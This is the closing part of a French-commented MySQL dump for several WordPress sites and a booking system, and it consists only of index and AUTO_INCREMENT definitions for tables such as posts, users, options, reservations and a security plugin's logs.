ALTER TABLE `www2_wfLeechers`
  ADD PRIMARY KEY (`eMin`,`IP`);

--
-- Index pour la table `www2_wfLockedOut`
--
ALTER TABLE `www2_wfLockedOut`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `www2_wfLocs`
--
ALTER TABLE `www2_wfLocs`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `www2_wfLogins`
--
ALTER TABLE `www2_wfLogins`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k1` (`IP`,`fail`);

--
-- Index pour la table `www2_wfNet404s`
--
ALTER TABLE `www2_wfNet404s`
  ADD PRIMARY KEY (`sig`),
  ADD KEY `k1` (`ctime`);

--
-- Index pour la table `www2_wfReverseCache`
--
ALTER TABLE `www2_wfReverseCache`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `www2_wfScanners`
--
ALTER TABLE `www2_wfScanners`
  ADD PRIMARY KEY (`eMin`,`IP`);

--
-- Index pour la table `www2_wfStatus`
--
ALTER TABLE `www2_wfStatus`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k1` (`ctime`),
  ADD KEY `k2` (`type`);

--
-- Index pour la table `www2_wfThrottleLog`
--
ALTER TABLE `www2_wfThrottleLog`
  ADD PRIMARY KEY (`IP`),
  ADD KEY `k2` (`endTime`);

--
-- Index pour la table `www2_wfVulnScanners`
--
ALTER TABLE `www2_wfVulnScanners`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `www_commentmeta`
--
ALTER TABLE `www_commentmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `comment_id` (`comment_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www_comments`
--
ALTER TABLE `www_comments`
  ADD PRIMARY KEY (`comment_ID`),
  ADD KEY `comment_post_ID` (`comment_post_ID`),
  ADD KEY `comment_approved_date_gmt` (`comment_approved`,`comment_date_gmt`),
  ADD KEY `comment_date_gmt` (`comment_date_gmt`),
  ADD KEY `comment_parent` (`comment_parent`);

--
-- Index pour la table `www_links`
--
ALTER TABLE `www_links`
  ADD PRIMARY KEY (`link_id`),
  ADD KEY `link_visible` (`link_visible`);

--
-- Index pour la table `www_options`
--
ALTER TABLE `www_options`
  ADD PRIMARY KEY (`option_id`),
  ADD UNIQUE KEY `option_name` (`option_name`);

--
-- Index pour la table `www_postmeta`
--
ALTER TABLE `www_postmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `post_id` (`post_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www_posts`
--
ALTER TABLE `www_posts`
  ADD PRIMARY KEY (`ID`),
  ADD KEY `post_name` (`post_name`),
  ADD KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`),
  ADD KEY `post_parent` (`post_parent`),
  ADD KEY `post_author` (`post_author`);

--
-- Index pour la table `www_post_relationships`
--
ALTER TABLE `www_post_relationships`
  ADD PRIMARY KEY (`relate_id`),
  ADD KEY `post_id` (`post_id`),
  ADD KEY `has_post_id` (`has_post_id`);

--
-- Index pour la table `www_slideshow_plugin`
--
ALTER TABLE `www_slideshow_plugin`
  ADD UNIQUE KEY `id` (`id`);

--
-- Index pour la table `www_termmeta`
--
ALTER TABLE `www_termmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `term_id` (`term_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www_terms`
--
ALTER TABLE `www_terms`
  ADD PRIMARY KEY (`term_id`),
  ADD UNIQUE KEY `slug` (`slug`),
  ADD KEY `name` (`name`);

--
-- Index pour la table `www_term_relationships`
--
ALTER TABLE `www_term_relationships`
  ADD PRIMARY KEY (`object_id`,`term_taxonomy_id`),
  ADD KEY `term_taxonomy_id` (`term_taxonomy_id`);

--
-- Index pour la table `www_term_taxonomy`
--
ALTER TABLE `www_term_taxonomy`
  ADD PRIMARY KEY (`term_taxonomy_id`),
  ADD UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),
  ADD KEY `taxonomy` (`taxonomy`);

--
-- Index pour la table `www_usermeta`
--
ALTER TABLE `www_usermeta`
  ADD PRIMARY KEY (`umeta_id`),
  ADD KEY `user_id` (`user_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www_users`
--
ALTER TABLE `www_users`
  ADD PRIMARY KEY (`ID`),
  ADD KEY `user_login_key` (`user_login`),
  ADD KEY `user_nicename` (`user_nicename`);

--
-- AUTO_INCREMENT pour les tables déchargées
--

--
-- AUTO_INCREMENT pour la table `ct_commentmeta`
--
ALTER TABLE `ct_commentmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `ct_comments`
--
ALTER TABLE `ct_comments`
  MODIFY `comment_ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
--
-- AUTO_INCREMENT pour la table `ct_links`
--
ALTER TABLE `ct_links`
  MODIFY `link_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `ct_options`
--
ALTER TABLE `ct_options`
  MODIFY `option_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=236;
--
-- AUTO_INCREMENT pour la table `ct_postmeta`
--
ALTER TABLE `ct_postmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=50;
--
-- AUTO_INCREMENT pour la table `ct_posts`
--
ALTER TABLE `ct_posts`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=22;
--
-- AUTO_INCREMENT pour la table `ct_termmeta`
--
ALTER TABLE `ct_termmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `ct_terms`
--
ALTER TABLE `ct_terms`
  MODIFY `term_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
--
-- AUTO_INCREMENT pour la table `ct_term_taxonomy`
--
ALTER TABLE `ct_term_taxonomy`
  MODIFY `term_taxonomy_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
--
-- AUTO_INCREMENT pour la table `ct_usermeta`
--
ALTER TABLE `ct_usermeta`
  MODIFY `umeta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=19;
--
-- AUTO_INCREMENT pour la table `ct_users`
--
ALTER TABLE `ct_users`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
--
-- AUTO_INCREMENT pour la table `reservation_client`
--
ALTER TABLE `reservation_client`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=417;
--
-- AUTO_INCREMENT pour la table `reservation_panier`
--
ALTER TABLE `reservation_panier`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `reservation_reservation`
--
ALTER TABLE `reservation_reservation`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=15661;
--
-- AUTO_INCREMENT pour la table `reservation_reservation_bck`
--
ALTER TABLE `reservation_reservation_bck`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10118;
--
-- AUTO_INCREMENT pour la table `reservation_seance_complete`
--
ALTER TABLE `reservation_seance_complete`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=223;
--
-- AUTO_INCREMENT pour la table `reservation_seance_complete_bck`
--
ALTER TABLE `reservation_seance_complete_bck`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=220;
--
-- AUTO_INCREMENT pour la table `reservation_seance_exceptionnelle`
--
ALTER TABLE `reservation_seance_exceptionnelle`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=125;
--
-- AUTO_INCREMENT pour la table `reservation_seance_exceptionnelle_bck`
--
ALTER TABLE `reservation_seance_exceptionnelle_bck`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=121;
--
-- AUTO_INCREMENT pour la table `reservation_seance_type`
--
ALTER TABLE `reservation_seance_type`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=135;
--
-- AUTO_INCREMENT pour la table `wp_commentmeta`
--
ALTER TABLE `wp_commentmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=35;
--
-- AUTO_INCREMENT pour la table `wp_comments`
--
ALTER TABLE `wp_comments`
  MODIFY `comment_ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=221;
--
-- AUTO_INCREMENT pour la table `wp_links`
--
ALTER TABLE `wp_links`
  MODIFY `link_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `wp_options`
--
ALTER TABLE `wp_options`
  MODIFY `option_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=129158;
--
-- AUTO_INCREMENT pour la table `wp_postmeta`
--
ALTER TABLE `wp_postmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2294;
--
-- AUTO_INCREMENT pour la table `wp_posts`
--
ALTER TABLE `wp_posts`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=500;
--
-- AUTO_INCREMENT pour la table `wp_termmeta`
--
ALTER TABLE `wp_termmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `wp_terms`
--
ALTER TABLE `wp_terms`
  MODIFY `term_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- AUTO_INCREMENT pour la table `wp_term_taxonomy`
--
ALTER TABLE `wp_term_taxonomy`
  MODIFY `term_taxonomy_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- AUTO_INCREMENT pour la table `wp_usermeta`
--
ALTER TABLE `wp_usermeta`
  MODIFY `umeta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=52;
--
-- AUTO_INCREMENT pour la table `wp_users`
--
ALTER TABLE `wp_users`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT pour la table `wp_wfBlocksAdv`
--
ALTER TABLE `wp_wfBlocksAdv`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `wp_wfHits`
--
ALTER TABLE `wp_wfHits`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=77692;
--
-- AUTO_INCREMENT pour la table `wp_wfHoover`
--
ALTER TABLE `wp_wfHoover`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;
--
-- AUTO_INCREMENT pour la table `wp_wfIssues`
--
ALTER TABLE `wp_wfIssues`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11222;
--
-- AUTO_INCREMENT pour la table `wp_wfLogins`
--
ALTER TABLE `wp_wfLogins`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=104264;
--
-- AUTO_INCREMENT pour la table `wp_wfStatus`
--
ALTER TABLE `wp_wfStatus`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=118242;
--
-- AUTO_INCREMENT pour la table `www2_commentmeta`
--
ALTER TABLE `www2_commentmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www2_comments`
--
ALTER TABLE `www2_comments`
  MODIFY `comment_ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=170;
--
-- AUTO_INCREMENT pour la table `www2_duplicator_packages`
--
ALTER TABLE `www2_duplicator_packages`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
--
-- AUTO_INCREMENT pour la table `www2_links`
--
ALTER TABLE `www2_links`
  MODIFY `link_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www2_options`
--
ALTER TABLE `www2_options`
  MODIFY `option_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=124433;
--
-- AUTO_INCREMENT pour la table `www2_postmeta`
--
ALTER TABLE `www2_postmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2294;
--
-- AUTO_INCREMENT pour la table `www2_posts`
--
ALTER TABLE `www2_posts`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=500;
--
-- AUTO_INCREMENT pour la table `www2_post_relationships`
--
ALTER TABLE `www2_post_relationships`
  MODIFY `relate_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www2_slideshow_plugin`
--
ALTER TABLE `www2_slideshow_plugin`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www2_termmeta`
--
ALTER TABLE `www2_termmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www2_terms`
--
ALTER TABLE `www2_terms`
  MODIFY `term_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT pour la table `www2_term_taxonomy`
--
ALTER TABLE `www2_term_taxonomy`
  MODIFY `term_taxonomy_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- AUTO_INCREMENT pour la table `www2_usermeta`
--
ALTER TABLE `www2_usermeta`
  MODIFY `umeta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=51;
--
-- AUTO_INCREMENT pour la table `www2_users`
--
ALTER TABLE `www2_users`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT pour la table `www2_wfBlocksAdv`
--
ALTER TABLE `www2_wfBlocksAdv`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www2_wfHits`
--
ALTER TABLE `www2_wfHits`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=78889;
--
-- AUTO_INCREMENT pour la table `www2_wfHoover`
--
ALTER TABLE `www2_wfHoover`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;
--
-- AUTO_INCREMENT pour la table `www2_wfIssues`
--
ALTER TABLE `www2_wfIssues`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11222;
--
-- AUTO_INCREMENT pour la table `www2_wfLogins`
--
ALTER TABLE `www2_wfLogins`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=104269;
--
-- AUTO_INCREMENT pour la table `www2_wfStatus`
--
ALTER TABLE `www2_wfStatus`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=118242;
--
-- AUTO_INCREMENT pour la table `www_commentmeta`
--
ALTER TABLE `www_commentmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=41;
--
-- AUTO_INCREMENT pour la table `www_comments`
--
ALTER TABLE `www_comments`
  MODIFY `comment_ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=21;
--
-- AUTO_INCREMENT pour la table `www_links`
--
ALTER TABLE `www_links`
  MODIFY `link_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www_options`
--
ALTER TABLE `www_options`
  MODIFY `option_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3336;
--
-- AUTO_INCREMENT pour la table `www_postmeta`
--
ALTER TABLE `www_postmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=1884;
--
-- AUTO_INCREMENT pour la table `www_posts`
--
ALTER TABLE `www_posts`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=456;
--
-- AUTO_INCREMENT pour la table `www_post_relationships`
--
ALTER TABLE `www_post_relationships`
  MODIFY `relate_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www_slideshow_plugin`
--
ALTER TABLE `www_slideshow_plugin`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT pour la table `www_termmeta`
--
ALTER TABLE `www_termmeta`
  MODIFY `meta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT pour la table `www_terms`
--
ALTER TABLE `www_terms`
  MODIFY `term_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT pour la table `www_term_taxonomy`
--
ALTER TABLE `www_term_taxonomy`
  MODIFY `term_taxonomy_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- AUTO_INCREMENT pour la table `www_usermeta`
--
ALTER TABLE `www_usermeta`
  MODIFY `umeta_id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=35;
--
-- AUTO_INCREMENT pour la table `www_users`
--
ALTER TABLE `www_users`
  MODIFY `ID` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;COMMIT;

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